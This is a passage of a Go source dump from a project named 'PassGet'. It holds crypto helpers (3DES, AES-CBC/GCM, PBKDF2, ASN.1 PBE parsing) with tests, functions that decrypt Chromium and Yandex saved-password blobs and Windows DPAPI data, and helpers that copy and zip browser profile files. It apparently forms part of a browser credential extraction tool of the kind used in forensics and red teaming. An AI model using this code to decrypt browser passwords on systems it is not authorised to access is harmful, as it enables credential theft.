180 | func (l loginPBE) Decrypt(globalSalt []byte) ([]byte, error) {
181 | key, iv := l.deriveKeyAndIV(globalSalt)
182 | return DES3Decrypt(key, iv, l.Encrypted)
183 | }
184 |
185 | func (l loginPBE) Encrypt(globalSalt, plaintext []byte) ([]byte, error) {
186 | key, iv := l.deriveKeyAndIV(globalSalt)
187 | return DES3Encrypt(key, iv, plaintext)
188 | }
189 |
190 | func (l loginPBE) deriveKeyAndIV(globalSalt []byte) ([]byte, []byte) {
191 | return globalSalt, l.Data.IV
192 | }
193 |
--------------------------------------------------------------------------------
/modules/utils/browser/crypto/asn1pbe_test.go:
--------------------------------------------------------------------------------
1 | package crypto
2 |
3 | import (
4 | "bytes"
5 | "encoding/asn1"
6 | "encoding/hex"
7 | "testing"
8 |
9 | "github.com/stretchr/testify/assert"
10 | )
11 |
12 | var (
13 | pbeIV = []byte("01234567") // 8 bytes
14 | pbePlaintext = []byte("Hello, World!")
15 | pbeCipherText = []byte{0xf8, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1}
16 | objWithMD5AndDESCBC = asn1.ObjectIdentifier{1, 2, 840, 113549, 1, 5, 3}
17 | objWithSHA256AndAES = asn1.ObjectIdentifier{2, 16, 840, 1, 101, 3, 4, 1, 46}
18 | objWithSHA1AndAES = asn1.ObjectIdentifier{1, 2, 840, 113549, 1, 5, 13}
19 | nssPBETestCases = []struct {
20 | RawHexPBE string
21 | GlobalSalt []byte
22 | Encrypted []byte
23 | IterationCount int
24 | Len int
25 | Plaintext []byte
26 | ObjectIdentifier asn1.ObjectIdentifier
27 | }{
28 | {
29 | RawHexPBE: "303e302a06092a864886f70d01050d301d04186d6f6f6e6434726b6d6f6f6e6434726b6d6f6f6e6434726b020114041095183a14c752e7b1d0aaa47f53e05097",
30 | GlobalSalt: bytes.Repeat([]byte(baseKey), 3),
31 | Encrypted: []byte{0x95, 0x18, 0x3a, 0x14, 0xc7, 0x52, 0xe7, 0xb1, 0xd0, 0xaa, 0xa4, 0x7f, 0x53, 0xe0, 0x50, 0x97},
32 | Plaintext: pbePlaintext,
33 | IterationCount: 1,
34 | Len: 32,
35 | ObjectIdentifier: objWithSHA1AndAES,
36 | },
37 | }
38 | metaPBETestCases = []struct {
39 | RawHexPBE string
40 | GlobalSalt []byte
41 | Encrypted []byte
42 | IV []byte
43 | Plaintext []byte
44 | ObjectIdentifier asn1.ObjectIdentifier
45 | }{
46 | {
47 | RawHexPBE: "307a3066060960864801650304012e3059303a060960864801650304012e302d04186d6f6f6e6434726b6d6f6f6e6434726b6d6f6f6e6434726b020101020120300b060960864801650304012e301b060960864801650304012e040e303132333435363730313233343504100474679f2e6256518b7adb877beaa154",
48 | GlobalSalt: bytes.Repeat([]byte(baseKey), 3),
49 | Encrypted: []byte{0x4, 0x74, 0x67, 0x9f, 0x2e, 0x62, 0x56, 0x51, 0x8b, 0x7a, 0xdb, 0x87, 0x7b, 0xea, 0xa1, 0x54},
50 | IV: bytes.Repeat(pbeIV, 2)[:14],
51 | Plaintext: pbePlaintext,
52 | ObjectIdentifier: objWithSHA256AndAES,
53 | },
54 | }
55 | loginPBETestCases = []struct {
56 | RawHexPBE string
57 | GlobalSalt []byte
58 | Encrypted []byte
59 | IV []byte
60 | Plaintext []byte
61 | ObjectIdentifier asn1.ObjectIdentifier
62 | }{
63 | {
64 | RawHexPBE: "303b0410f8000000000000000000000000000001301506092a864886f70d010503040830313233343536370410fe968b6565149114ea688defd6683e45303b0410f8000000000000000000000000000001301506092a864886f70d010503040830313233343536370410fe968b6565149114ea688defd6683e45303b0410f8000000000000000000000000000001301506092a864886f70d010503040830313233343536370410fe968b6565149114ea688defd6683e45",
65 | Encrypted: []byte{0xfe, 0x96, 0x8b, 0x65, 0x65, 0x14, 0x91, 0x14, 0xea, 0x68, 0x8d, 0xef, 0xd6, 0x68, 0x3e, 0x45},
66 | GlobalSalt: bytes.Repeat([]byte(baseKey), 3),
67 | IV: pbeIV,
68 | Plaintext: pbePlaintext,
69 | ObjectIdentifier: objWithMD5AndDESCBC,
70 | },
71 | }
72 | )
73 |
74 | func TestNewASN1PBE(t *testing.T) {
75 | for _, tc := range nssPBETestCases {
76 | nssRaw, err := hex.DecodeString(tc.RawHexPBE)
77 | assert.Equal(t, nil, err)
78 | pbe, err := NewASN1PBE(nssRaw)
79 | assert.Equal(t, nil, err)
80 | nssPBETC, ok := pbe.(nssPBE)
81 | assert.Equal(t, true, ok)
82 | assert.Equal(t, nssPBETC.Encrypted, tc.Encrypted)
83 | assert.Equal(t, nssPBETC.AlgoAttr.SaltAttr.EntrySalt, tc.GlobalSalt)
84 | assert.Equal(t, nssPBETC.AlgoAttr.SaltAttr.Len, 20)
85 | assert.Equal(t, nssPBETC.AlgoAttr.ObjectIdentifier, tc.ObjectIdentifier)
86 | }
87 | }
88 |
89 | func TestNssPBE_Encrypt(t *testing.T) {
90 | for _, tc := range nssPBETestCases {
91 | nssPBETC := nssPBE{
92 | Encrypted: tc.Encrypted,
93 | AlgoAttr: struct {
94 | asn1.ObjectIdentifier
95 | SaltAttr struct {
96 | EntrySalt []byte
97 | Len int
98 | }
99 | }{
100 | ObjectIdentifier: tc.ObjectIdentifier,
101 | SaltAttr: struct {
102 | EntrySalt []byte
103 | Len int
104 | }{
105 | EntrySalt: tc.GlobalSalt,
106 | Len: 20,
107 | },
108 | },
109 | }
110 | encrypted, err := nssPBETC.Encrypt(tc.GlobalSalt, tc.Plaintext)
111 | assert.Equal(t, nil, err)
112 | assert.Equal(t, true, len(encrypted) > 0)
113 | assert.Equal(t, nssPBETC.Encrypted, encrypted)
114 | }
115 | }
116 |
117 | func TestNssPBE_Decrypt(t *testing.T) {
118 | for _, tc := range nssPBETestCases {
119 | nssPBETC := nssPBE{
120 | Encrypted: tc.Encrypted,
121 | AlgoAttr: struct {
122 | asn1.ObjectIdentifier
123 | SaltAttr struct {
124 | EntrySalt []byte
125 | Len int
126 | }
127 | }{
128 | ObjectIdentifier: tc.ObjectIdentifier,
129 | SaltAttr: struct {
130 | EntrySalt []byte
131 | Len int
132 | }{
133 | EntrySalt: tc.GlobalSalt,
134 | Len: 20,
135 | },
136 | },
137 | }
138 | decrypted, err := nssPBETC.Decrypt(tc.GlobalSalt)
139 | assert.Equal(t, nil, err)
140 | assert.Equal(t, true, len(decrypted) > 0)
141 | assert.Equal(t, pbePlaintext, decrypted)
142 | }
143 | }
144 |
145 | func TestNewASN1PBE_MetaPBE(t *testing.T) {
146 | for _, tc := range metaPBETestCases {
147 | metaRaw, err := hex.DecodeString(tc.RawHexPBE)
148 | assert.Equal(t, nil, err)
149 | pbe, err := NewASN1PBE(metaRaw)
150 | assert.Equal(t, nil, err)
151 | metaPBETC, ok := pbe.(metaPBE)
152 | assert.Equal(t, true, ok)
153 | assert.Equal(t, metaPBETC.Encrypted, tc.Encrypted)
154 | assert.Equal(t, metaPBETC.AlgoAttr.Data.IVData.IV, tc.IV)
155 | assert.Equal(t, metaPBETC.AlgoAttr.Data.IVData.ObjectIdentifier, objWithSHA256AndAES)
156 | }
157 | }
158 |
159 | func TestMetaPBE_Encrypt(t *testing.T) {
160 | for _, tc := range metaPBETestCases {
161 | metaPBETC := metaPBE{
162 | AlgoAttr: algoAttr{
163 | ObjectIdentifier: tc.ObjectIdentifier,
164 | Data: struct {
165 | Data struct {
166 | asn1.ObjectIdentifier
167 | SlatAttr slatAttr
168 | }
169 | IVData ivAttr
170 | }{
171 | Data: struct {
172 | asn1.ObjectIdentifier
173 | SlatAttr slatAttr
174 | }{
175 | ObjectIdentifier: tc.ObjectIdentifier,
176 | SlatAttr: slatAttr{
177 | EntrySalt: tc.GlobalSalt,
178 | IterationCount: 1,
179 | KeySize: 32,
180 | Algorithm: struct {
181 | asn1.ObjectIdentifier
182 | }{
183 | ObjectIdentifier: tc.ObjectIdentifier,
184 | },
185 | },
186 | },
187 | IVData: ivAttr{
188 | ObjectIdentifier: tc.ObjectIdentifier,
189 | IV: tc.IV,
190 | },
191 | },
192 | },
193 | Encrypted: tc.Encrypted,
194 | }
195 | encrypted, err := metaPBETC.Encrypt(tc.GlobalSalt, tc.Plaintext)
196 | assert.Equal(t, nil, err)
197 | assert.Equal(t, true, len(encrypted) > 0)
198 | assert.Equal(t, metaPBETC.Encrypted, encrypted)
199 | }
200 | }
201 |
202 | func TestMetaPBE_Decrypt(t *testing.T) {
203 | for _, tc := range metaPBETestCases {
204 | metaPBETC := metaPBE{
205 | AlgoAttr: algoAttr{
206 | ObjectIdentifier: tc.ObjectIdentifier,
207 | Data: struct {
208 | Data struct {
209 | asn1.ObjectIdentifier
210 | SlatAttr slatAttr
211 | }
212 | IVData ivAttr
213 | }{
214 | Data: struct {
215 | asn1.ObjectIdentifier
216 | SlatAttr slatAttr
217 | }{
218 | ObjectIdentifier: tc.ObjectIdentifier,
219 | SlatAttr: slatAttr{
220 | EntrySalt: tc.GlobalSalt,
221 | IterationCount: 1,
222 | KeySize: 32,
223 | Algorithm: struct {
224 | asn1.ObjectIdentifier
225 | }{
226 | ObjectIdentifier: tc.ObjectIdentifier,
227 | },
228 | },
229 | },
230 | IVData: ivAttr{
231 | ObjectIdentifier: tc.ObjectIdentifier,
232 | IV: tc.IV,
233 | },
234 | },
235 | },
236 | Encrypted: tc.Encrypted,
237 | }
238 | decrypted, err := metaPBETC.Decrypt(tc.GlobalSalt)
239 | assert.Equal(t, nil, err)
240 | assert.Equal(t, true, len(decrypted) > 0)
241 | assert.Equal(t, pbePlaintext, decrypted)
242 | }
243 | }
244 |
245 | func TestNewASN1PBE_LoginPBE(t *testing.T) {
246 | for _, tc := range loginPBETestCases {
247 | loginRaw, err := hex.DecodeString(tc.RawHexPBE)
248 | assert.Equal(t, nil, err)
249 | pbe, err := NewASN1PBE(loginRaw)
250 | assert.Equal(t, nil, err)
251 | loginPBETC, ok := pbe.(loginPBE)
252 | assert.Equal(t, true, ok)
253 | assert.Equal(t, loginPBETC.Encrypted, tc.Encrypted)
254 | assert.Equal(t, loginPBETC.Data.IV, tc.IV)
255 | assert.Equal(t, loginPBETC.Data.ObjectIdentifier, objWithMD5AndDESCBC)
256 | }
257 | }
258 |
259 | func TestLoginPBE_Encrypt(t *testing.T) {
260 | for _, tc := range loginPBETestCases {
261 | loginPBETC := loginPBE{
262 | CipherText: pbeCipherText,
263 | Data: struct {
264 | asn1.ObjectIdentifier
265 | IV []byte
266 | }{
267 | ObjectIdentifier: tc.ObjectIdentifier,
268 | IV: tc.IV,
269 | },
270 | Encrypted: tc.Encrypted,
271 | }
272 | encrypted, err := loginPBETC.Encrypt(tc.GlobalSalt, plainText)
273 | assert.Equal(t, nil, err)
274 | assert.Equal(t, true, len(encrypted) > 0)
275 | assert.Equal(t, loginPBETC.Encrypted, encrypted)
276 | }
277 | }
278 |
279 | func TestLoginPBE_Decrypt(t *testing.T) {
280 | for _, tc := range loginPBETestCases {
281 | loginPBETC := loginPBE{
282 | CipherText: pbeCipherText,
283 | Data: struct {
284 | asn1.ObjectIdentifier
285 | IV []byte
286 | }{
287 | ObjectIdentifier: tc.ObjectIdentifier,
288 | IV: tc.IV,
289 | },
290 | Encrypted: tc.Encrypted,
291 | }
292 | decrypted, err := loginPBETC.Decrypt(tc.GlobalSalt)
293 | assert.Equal(t, nil, err)
294 | assert.Equal(t, true, len(decrypted) > 0)
295 | assert.Equal(t, pbePlaintext, decrypted)
296 | }
297 | }
298 |
--------------------------------------------------------------------------------
/modules/utils/browser/crypto/crypto.go:
--------------------------------------------------------------------------------
1 | package crypto
2 |
3 | import (
4 | "bytes"
5 | "crypto/aes"
6 | "crypto/cipher"
7 | "crypto/des"
8 | "errors"
9 | "fmt"
10 | )
11 |
12 | var ErrCiphertextLengthIsInvalid = errors.New("ciphertext length is invalid")
13 |
14 | func AES128CBCDecrypt(key, iv, ciphertext []byte) ([]byte, error) {
15 | block, err := aes.NewCipher(key)
16 | if err != nil {
17 | return nil, err
18 | }
19 | // Check ciphertext length
20 | if len(ciphertext) < aes.BlockSize {
21 | return nil, errors.New("AES128CBCDecrypt: ciphertext too short")
22 | }
23 | if len(ciphertext)%aes.BlockSize != 0 {
24 | return nil, errors.New("AES128CBCDecrypt: ciphertext is not a multiple of the block size")
25 | }
26 |
27 | decryptedData := make([]byte, len(ciphertext))
28 | mode := cipher.NewCBCDecrypter(block, iv)
29 | mode.CryptBlocks(decryptedData, ciphertext)
30 |
31 | // unpad the decrypted data and handle potential padding errors
32 | decryptedData, err = pkcs5UnPadding(decryptedData)
33 | if err != nil {
34 | return nil, fmt.Errorf("AES128CBCDecrypt: %w", err)
35 | }
36 |
37 | return decryptedData, nil
38 | }
39 |
40 | func AES128CBCEncrypt(key, iv, plaintext []byte) ([]byte, error) {
41 | block, err := aes.NewCipher(key)
42 | if err != nil {
43 | return nil, err
44 | }
45 |
46 | if len(iv) != aes.BlockSize {
47 | return nil, errors.New("AES128CBCEncrypt: iv length is invalid, must equal block size")
48 | }
49 |
50 | plaintext = pkcs5Padding(plaintext, block.BlockSize())
51 | encryptedData := make([]byte, len(plaintext))
52 | mode := cipher.NewCBCEncrypter(block, iv)
53 | mode.CryptBlocks(encryptedData, plaintext)
54 |
55 | return encryptedData, nil
56 | }
57 |
58 | func DES3Decrypt(key, iv, ciphertext []byte) ([]byte, error) {
59 | block, err := des.NewTripleDESCipher(key)
60 | if err != nil {
61 | return nil, err
62 | }
63 | if len(ciphertext) < des.BlockSize {
64 | return nil, errors.New("DES3Decrypt: ciphertext too short")
65 | }
66 | if len(ciphertext)%block.BlockSize() != 0 {
67 | return nil, errors.New("DES3Decrypt: ciphertext is not a multiple of the block size")
68 | }
69 |
70 | blockMode := cipher.NewCBCDecrypter(block, iv)
71 | sq := make([]byte, len(ciphertext))
72 | blockMode.CryptBlocks(sq, ciphertext)
73 |
74 | return pkcs5UnPadding(sq)
75 | }
76 |
77 | func DES3Encrypt(key, iv, plaintext []byte) ([]byte, error) {
78 | block, err := des.NewTripleDESCipher(key)
79 | if err != nil {
80 | return nil, err
81 | }
82 |
83 | plaintext = pkcs5Padding(plaintext, block.BlockSize())
84 | dst := make([]byte, len(plaintext))
85 | blockMode := cipher.NewCBCEncrypter(block, iv)
86 | blockMode.CryptBlocks(dst, plaintext)
87 |
88 | return dst, nil
89 | }
90 |
91 | // AESGCMDecrypt chromium > 80 https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/sync/os_crypt_win.cc
92 | func AESGCMDecrypt(key, nounce, ciphertext []byte) ([]byte, error) {
93 | block, err := aes.NewCipher(key)
94 | if err != nil {
95 | return nil, err
96 | }
97 | blockMode, err := cipher.NewGCM(block)
98 | if err != nil {
99 | return nil, err
100 | }
101 | origData, err := blockMode.Open(nil, nounce, ciphertext, nil)
102 | if err != nil {
103 | return nil, err
104 | }
105 | return origData, nil
106 | }
107 |
108 | // AESGCMEncrypt encrypts plaintext using AES encryption in GCM mode.
109 | func AESGCMEncrypt(key, nonce, plaintext []byte) ([]byte, error) {
110 | block, err := aes.NewCipher(key)
111 | if err != nil {
112 | return nil, err
113 | }
114 | blockMode, err := cipher.NewGCM(block)
115 | if err != nil {
116 | return nil, err
117 | }
118 | // The first parameter is the prefix for the output, we can leave it nil.
119 | // The Seal method encrypts and authenticates the data, appending the result to the dst.
120 | encryptedData := blockMode.Seal(nil, nonce, plaintext, nil)
121 | return encryptedData, nil
122 | }
123 |
124 | func paddingZero(src []byte, length int) []byte {
125 | padding := length - len(src)
126 | if padding <= 0 {
127 | return src
128 | }
129 | return append(src, make([]byte, padding)...)
130 | }
131 |
132 | func pkcs5UnPadding(src []byte) ([]byte, error) {
133 | length := len(src)
134 | if length == 0 {
135 | return nil, errors.New("pkcs5UnPadding: src should not be empty")
136 | }
137 | padding := int(src[length-1])
138 | if padding < 1 || padding > aes.BlockSize {
139 | return nil, errors.New("pkcs5UnPadding: invalid padding size")
140 | }
141 | return src[:length-padding], nil
142 | }
143 |
144 | func pkcs5Padding(src []byte, blocksize int) []byte {
145 | padding := blocksize - (len(src) % blocksize)
146 | padText := bytes.Repeat([]byte{byte(padding)}, padding)
147 | return append(src, padText...)
148 | }
149 |
--------------------------------------------------------------------------------
/modules/utils/browser/crypto/crypto_darwin.go:
--------------------------------------------------------------------------------
1 | //go:build darwin
2 |
3 | package crypto
4 |
5 | func DecryptWithChromium(key, password []byte) ([]byte, error) {
6 | if len(password) <= 3 {
7 | return nil, ErrCiphertextLengthIsInvalid
8 | }
9 | iv := []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}
10 | return AES128CBCDecrypt(key, iv, password[3:])
11 | }
12 |
13 | func DecryptWithDPAPI(_ []byte) ([]byte, error) {
14 | return nil, nil
15 | }
16 |
--------------------------------------------------------------------------------
/modules/utils/browser/crypto/crypto_linux.go:
--------------------------------------------------------------------------------
1 | //go:build linux
2 |
3 | package crypto
4 |
5 | func DecryptWithChromium(key, encryptPass []byte) ([]byte, error) {
6 | if len(encryptPass) < 3 {
7 | return nil, ErrCiphertextLengthIsInvalid
8 | }
9 | iv := []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}
10 | return AES128CBCDecrypt(key, iv, encryptPass[3:])
11 | }
12 |
13 | func DecryptWithDPAPI(_ []byte) ([]byte, error) {
14 | return nil, nil
15 | }
16 |
--------------------------------------------------------------------------------
/modules/utils/browser/crypto/crypto_test.go:
--------------------------------------------------------------------------------
1 | package crypto
2 |
3 | import (
4 | "bytes"
5 | "crypto/sha1"
6 | "encoding/hex"
7 | "fmt"
8 | "testing"
9 |
10 | "github.com/stretchr/testify/assert"
11 | )
12 |
13 | const baseKey = "moond4rk"
14 |
15 | var (
16 | aesKey = bytes.Repeat([]byte(baseKey), 2) // 16 bytes
17 | aesIV = []byte("01234567abcdef01") // 16 bytes
18 | plainText = []byte("Hello, World!")
19 | aes128Ciphertext = "19381468ecf824c0bfc7a89eed9777d2"
20 |
21 | des3Key = sha1.New().Sum(aesKey)[:24]
22 | des3IV = aesIV[:8]
23 | des3Ciphertext = "a4492f31bc404fae18d53a46ca79282e"
24 |
25 | aesGCMNonce = aesKey[:12]
26 | aesGCMCiphertext = "6c49dac89992639713edab3a114c450968a08b53556872cea3919e2e9a"
27 | )
28 |
29 | func TestAES128CBCEncrypt(t *testing.T) {
30 | encrypted, err := AES128CBCEncrypt(aesKey, aesIV, plainText)
31 | assert.Equal(t, nil, err)
32 | assert.Equal(t, true, len(encrypted) > 0)
33 | assert.Equal(t, aes128Ciphertext, fmt.Sprintf("%x", encrypted))
34 | }
35 |
36 | func TestAES128CBCDecrypt(t *testing.T) {
37 | ciphertext, _ := hex.DecodeString(aes128Ciphertext)
38 | decrypted, err := AES128CBCDecrypt(aesKey, aesIV, ciphertext)
39 | assert.Equal(t, nil, err)
40 | assert.Equal(t, true, len(decrypted) > 0)
41 | assert.Equal(t, plainText, decrypted)
42 | }
43 |
44 | func TestDES3Encrypt(t *testing.T) {
45 | encrypted, err := DES3Encrypt(des3Key, des3IV, plainText)
46 | assert.Equal(t, nil, err)
47 | assert.Equal(t, true, len(encrypted) > 0)
48 | assert.Equal(t, des3Ciphertext, fmt.Sprintf("%x", encrypted))
49 | }
50 |
51 | func TestDES3Decrypt(t *testing.T) {
52 | ciphertext, _ := hex.DecodeString(des3Ciphertext)
53 | decrypted, err := DES3Decrypt(des3Key, des3IV, ciphertext)
54 | assert.Equal(t, nil, err)
55 | assert.Equal(t, true, len(decrypted) > 0)
56 | assert.Equal(t, plainText, decrypted)
57 | }
58 |
59 | func TestAESGCMEncrypt(t *testing.T) {
60 | encrypted, err := AESGCMEncrypt(aesKey, aesGCMNonce, plainText)
61 | assert.Equal(t, nil, err)
62 | assert.Equal(t, true, len(encrypted) > 0)
63 | assert.Equal(t, aesGCMCiphertext, fmt.Sprintf("%x", encrypted))
64 | }
65 |
66 | func TestAESGCMDecrypt(t *testing.T) {
67 | ciphertext, _ := hex.DecodeString(aesGCMCiphertext)
68 | decrypted, err := AESGCMDecrypt(aesKey, aesGCMNonce, ciphertext)
69 | assert.Equal(t, nil, err)
70 | assert.Equal(t, true, len(decrypted) > 0)
71 | assert.Equal(t, plainText, decrypted)
72 | }
73 |
--------------------------------------------------------------------------------
/modules/utils/browser/crypto/crypto_windows.go:
--------------------------------------------------------------------------------
1 | //go:build windows
2 |
3 | package crypto
4 |
5 | import (
6 | "fmt"
7 | "syscall"
8 | "unsafe"
9 | )
10 |
11 | const (
12 | // Assuming the nonce size is 12 bytes and the minimum encrypted data size is 3 bytes
13 | minEncryptedDataSize = 15
14 | nonceSize = 12
15 | )
16 |
17 | func DecryptWithChromium(key, ciphertext []byte) ([]byte, error) {
18 | if len(ciphertext) < minEncryptedDataSize {
19 | return nil, ErrCiphertextLengthIsInvalid
20 | }
21 |
22 | nonce := ciphertext[3 : 3+nonceSize]
23 | encryptedPassword := ciphertext[3+nonceSize:]
24 |
25 | return AESGCMDecrypt(key, nonce, encryptedPassword)
26 | }
27 |
28 | // DecryptWithYandex decrypts the password with AES-GCM
29 | func DecryptWithYandex(key, ciphertext []byte) ([]byte, error) {
30 | if len(ciphertext) < minEncryptedDataSize {
31 | return nil, ErrCiphertextLengthIsInvalid
32 | }
33 | // remove Prefix 'v10'
34 | // gcmBlockSize = 16
35 | // gcmTagSize = 16
36 | // gcmMinimumTagSize = 12 // NIST SP 800-38D recommends tags with 12 or more bytes.
37 | // gcmStandardNonceSize = 12
38 | nonce := ciphertext[3 : 3+nonceSize]
39 | encryptedPassword := ciphertext[3+nonceSize:]
40 | return AESGCMDecrypt(key, nonce, encryptedPassword)
41 | }
42 |
43 | type dataBlob struct {
44 | cbData uint32
45 | pbData *byte
46 | }
47 |
48 | func newBlob(d []byte) *dataBlob {
49 | if len(d) == 0 {
50 | return &dataBlob{}
51 | }
52 | return &dataBlob{
53 | pbData: &d[0],
54 | cbData: uint32(len(d)),
55 | }
56 | }
57 |
58 | func (b *dataBlob) bytes() []byte {
59 | d := make([]byte, b.cbData)
60 | copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
61 | return d
62 | }
63 |
64 | // DecryptWithDPAPI (Data Protection Application Programming Interface)
65 | // is a simple cryptographic application programming interface
66 | // available as a built-in component in Windows 2000 and
67 | // later versions of Microsoft Windows operating systems
68 | func DecryptWithDPAPI(ciphertext []byte) ([]byte, error) {
69 | crypt32 := syscall.NewLazyDLL("Crypt32.dll")
70 | kernel32 := syscall.NewLazyDLL("Kernel32.dll")
71 | unprotectDataProc := crypt32.NewProc("CryptUnprotectData")
72 | localFreeProc := kernel32.NewProc("LocalFree")
73 |
74 | var outBlob dataBlob
75 | r, _, err := unprotectDataProc.Call(
76 | uintptr(unsafe.Pointer(newBlob(ciphertext))),
77 | 0, 0, 0, 0, 0,
78 | uintptr(unsafe.Pointer(&outBlob)),
79 | )
80 | if r == 0 {
81 | return nil, fmt.Errorf("CryptUnprotectData failed with error %w", err)
82 | }
83 |
84 | defer localFreeProc.Call(uintptr(unsafe.Pointer(outBlob.pbData)))
85 | return outBlob.bytes(), nil
86 | }
87 |
--------------------------------------------------------------------------------
/modules/utils/browser/crypto/pbkdf2.go:
--------------------------------------------------------------------------------
1 | package crypto
2 |
3 | import (
4 | "crypto/hmac"
5 | "hash"
6 | )
7 |
8 | // PBKDF2Key derives a key from the password, salt and iteration count, returning a
9 | // []byte of length keylen that can be used as cryptographic key. The key is
10 | // derived based on the method described as PBKDF2 with the HMAC variant using
11 | // the supplied hash function.
12 | //
13 | // For example, to use a HMAC-SHA-1 based PBKDF2 key derivation function, you
14 | // can get a derived key for e.g. AES-256 (which needs a 32-byte key) by
15 | // doing:
16 | //
17 | // dk := pbkdf2.Key([]byte("some password"), salt, 4096, 32, sha1.New)
18 | //
19 | // Remember to get a good random salt. At least 8 bytes is recommended by the
20 | // RFC.
21 | //
22 | // Using a higher iteration count will increase the cost of an exhaustive
23 | // search but will also make derivation proportionally slower.
24 | // Copy from https://golang.org/x/crypto/pbkdf2
25 | func PBKDF2Key(password, salt []byte, iter, keyLen int, h func() hash.Hash) []byte {
26 | prf := hmac.New(h, password)
27 | hashLen := prf.Size()
28 | numBlocks := (keyLen + hashLen - 1) / hashLen
29 |
30 | var buf [4]byte
31 | dk := make([]byte, 0, numBlocks*hashLen)
32 | u := make([]byte, hashLen)
33 | for block := 1; block <= numBlocks; block++ {
34 | // N.B.: || means concatenation, ^ means XOR
35 | // for each block T_i = U_1 ^ U_2 ^ ... ^ U_iter
36 | // U_1 = PRF(password, salt || uint(i))
37 | prf.Reset()
38 | prf.Write(salt)
39 | buf[0] = byte(block >> 24)
40 | buf[1] = byte(block >> 16)
41 | buf[2] = byte(block >> 8)
42 | buf[3] = byte(block)
43 | prf.Write(buf[:4])
44 | dk = prf.Sum(dk)
45 | t := dk[len(dk)-hashLen:]
46 | copy(u, t)
47 |
48 | for n := 2; n <= iter; n++ {
49 | prf.Reset()
50 | prf.Write(u)
51 | u = u[:0]
52 | u = prf.Sum(u)
53 | for x := range u {
54 | t[x] ^= u[x]
55 | }
56 | }
57 | }
58 | return dk[:keyLen]
59 | }
60 |
--------------------------------------------------------------------------------
/modules/utils/browser/extractor/extractor.go:
--------------------------------------------------------------------------------
1 | package extractor
2 |
3 | // Extractor is an interface for extracting data from browser data files
4 | type Extractor interface {
5 | Extract(masterKey []byte) error
6 |
7 | Name() string
8 |
9 | Len() int
10 | }
11 |
--------------------------------------------------------------------------------
/modules/utils/browser/extractor/registration.go:
--------------------------------------------------------------------------------
1 | package extractor
2 |
3 | import (
4 | "PassGet/modules/utils/browser/types"
5 | )
6 |
7 | var extractorRegistry = make(map[types.DataType]func() Extractor)
8 |
9 | // RegisterExtractor is used to register the data source
10 | func RegisterExtractor(dataType types.DataType, factoryFunc func() Extractor) {
11 | extractorRegistry[dataType] = factoryFunc
12 | }
13 |
14 | // CreateExtractor is used to create the data source
15 | func CreateExtractor(dataType types.DataType) Extractor {
16 | if factoryFunc, ok := extractorRegistry[dataType]; ok {
17 | return factoryFunc()
18 | }
19 | return nil
20 | }
21 |
--------------------------------------------------------------------------------
/modules/utils/browser/fileutil/fileutil.go:
--------------------------------------------------------------------------------
1 | package fileutil
2 |
3 | import (
4 | "archive/zip"
5 | "bytes"
6 | "fmt"
7 | "io"
8 | "os"
9 | "path/filepath"
10 | "strings"
11 |
12 | cp "github.com/otiai10/copy"
13 | )
14 |
15 | // IsFileExists checks if the file exists in the provided path
16 | func IsFileExists(filename string) bool {
17 | info, err := os.Stat(filename)
18 | if os.IsNotExist(err) {
19 | return false
20 | }
21 | if err != nil {
22 | return false
23 | }
24 | return !info.IsDir()
25 | }
26 |
27 | // IsDirExists checks if the folder exists
28 | func IsDirExists(folder string) bool {
29 | info, err := os.Stat(folder)
30 | if os.IsNotExist(err) {
31 | return false
32 | }
33 | if err != nil {
34 | return false
35 | }
36 | return info.IsDir()
37 | }
38 |
39 | // ReadFile reads the file from the provided path
40 | func ReadFile(filename string) (string, error) {
41 | s, err := os.ReadFile(filename)
42 | return string(s), err
43 | }
44 |
45 | // CopyDir copies the directory from the source to the destination
46 | // skip the file if you don't want to copy
47 | func CopyDir(src, dst, skip string) error {
48 | s := cp.Options{Skip: func(info os.FileInfo, src, dst string) (bool, error) {
49 | return strings.HasSuffix(strings.ToLower(src), skip), nil
50 | }}
51 | return cp.Copy(src, dst, s)
52 | }
53 |
54 | // CopyFile copies the file from the source to the destination
55 | func CopyFile(src, dst string) error {
56 | s, err := os.ReadFile(src)
57 | if err != nil {
58 | return err
59 | }
60 | err = os.WriteFile(dst, s, 0o600)
61 | if err != nil {
62 | return err
63 | }
64 | return nil
65 | }
66 |
67 | // Filename returns the filename from the provided path
68 | func Filename(browser, dataType, ext string) string {
69 | replace := strings.NewReplacer(" ", "_", ".", "_", "-", "_")
70 | return strings.ToLower(fmt.Sprintf("%s_%s.%s", replace.Replace(browser), dataType, ext))
71 | }
72 |
73 | func BrowserName(browser, user string) string {
74 | replace := strings.NewReplacer(" ", "_", ".", "_", "-", "_", "Profile", "user")
75 | return strings.ToLower(fmt.Sprintf("%s_%s", replace.Replace(browser), replace.Replace(user)))
76 | }
77 |
78 | // ParentDir returns the parent directory of the provided path
79 | func ParentDir(p string) string {
80 | return filepath.Dir(filepath.Clean(p))
81 | }
82 |
83 | // BaseDir returns the base directory of the provided path
84 | func BaseDir(p string) string {
85 | return filepath.Base(p)
86 | }
87 |
88 | // ParentBaseDir returns the parent base directory of the provided path
89 | func ParentBaseDir(p string) string {
90 | return BaseDir(ParentDir(p))
91 | }
92 |
93 | // CompressDir compresses the directory into a zip file
94 | func CompressDir(dir string) error {
95 | files, err := os.ReadDir(dir)
96 | if err != nil {
97 | return fmt.Errorf("read dir error: %w", err)
98 | }
99 | if len(files) == 0 {
100 | // Return an error if no files are found in the directory
101 | return fmt.Errorf("no files to compress in: %s", dir)
102 | }
103 |
104 | buffer := new(bytes.Buffer)
105 | zipWriter := zip.NewWriter(buffer)
106 | defer func() {
107 | _ = zipWriter.Close()
108 | }()
109 |
110 | err = filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
111 | if err != nil {
112 | return err
113 | }
114 |
115 | // 如果是文件,添加到 zip 存档
116 | if !info.IsDir() {
117 | // 获取文件相对于 src 目录的相对路径
118 | relPath, err := filepath.Rel(dir, path)
119 | if err != nil {
120 | return err
121 | }
122 |
123 | // 创建一个 zip 文件
124 | f, err := zipWriter.Create(relPath)
125 | if err != nil {
126 | return err
127 | }
128 |
129 | // 打开文件并写入 zip 存档
130 | r, err := os.Open(path)
